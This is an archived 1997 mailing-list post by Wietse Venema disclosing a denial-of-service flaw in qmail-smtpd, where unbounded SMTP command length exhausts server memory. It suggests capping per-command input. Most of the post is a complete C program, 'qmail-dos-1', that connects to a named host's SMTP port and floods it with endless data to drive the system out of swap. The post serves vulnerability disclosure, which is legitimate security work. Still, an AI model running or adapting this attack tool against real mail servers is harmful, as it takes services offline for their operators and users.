Denial of service (qmail-smtpd)

[j () EIDER NET (Frank DENIS -Jedi/Sector One-)]

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Subject: Denial of service (qmail-smtpd)
To: djb-qmail () koobera math uic edu
Date: Wed, 11 Jun 1997 17:30:36 -0400 (EDT)
From: wietse () wzv win tue nl (Wietse Venema)
Organization: Wietse Venema on sabattical leave,
              14 Nosband Avenue 4J, White Plains, NY 10605, USA
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While implementing my own mailer, I went over the qmail source code
and noticed that qmail is susceptible to a very trivial denial of
service attack. By sending SMTP commands of unlimited length, an
attacker can make the machine run out of memory, thus rendering it
completely unusable.

Below is a little program that demonstrates the problem.  When I
wrote this I was in C mode; it could probably be done with a much
smaller PERL program.

Fix: put some upper bound on the amount of data that qmail-smtpd
reads per command.

I am sending to the list, because it appears that DJB is ignoring
all my email. Oh well. Be a good sport, Dan, and take care of it.

        Wietse

 /*
  * qmail-dos-1 - run a qmail system out of swap space by feeding long SMTP
  * commands.
  *
  * Usage: qmail-dos-1 hostname
  *
  * Author: Wietse Venema. The author is not responsible for abuse of this
  * program. Use at your own risk. Batteries not included.
  */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdarg.h>
#include <errno.h>
#include <stdio.h>

void    fatal(char *fmt,...)
{
    va_list ap;

    va_start(ap, fmt);
    vfprintf(stderr, fmt, ap);
    va_end(ap);
    putc('\n', stderr);
    exit(1);
}

int     main(int argc, char **argv)
{
    struct sockaddr_in sin;
    struct hostent *hp;
    char    buf[BUFSIZ];
    int     sock;
    FILE   *fp;

    if (argc != 2)
        fatal("usage: %s host", argv[0]);
    if ((hp = gethostbyname(argv[1])) == 0)
        fatal("host %s not found", argv[1]);
    memset((char *) &sin, 0, sizeof(sin));
    sin.sin_family = AF_INET;
    memcpy((char *) &sin.sin_addr, hp->h_addr, sizeof(sin.sin_addr));
    sin.sin_port = htons(25);
    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        fatal("socket: %s", strerror(errno));
    if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0)
        fatal("connect to %s: %s", argv[1], strerror(errno));
    if ((fp = fdopen(sock, "r+")) == 0)
        fatal("fdopen: %s", strerror(errno));
    if (fgets(buf, sizeof(buf), fp) == 0)
        fatal("connection lost");
    memset(buf, 'X', sizeof(buf));
    fseek(fp, 0L, SEEK_SET);
    while (fputs(buf, fp) != EOF)
         /* void */ ;
}


--
                  -=-  Frank DENIS aka Jedi/Sector One  -=-
                  <j () djweb org> <j () donald fr> <j () eider net>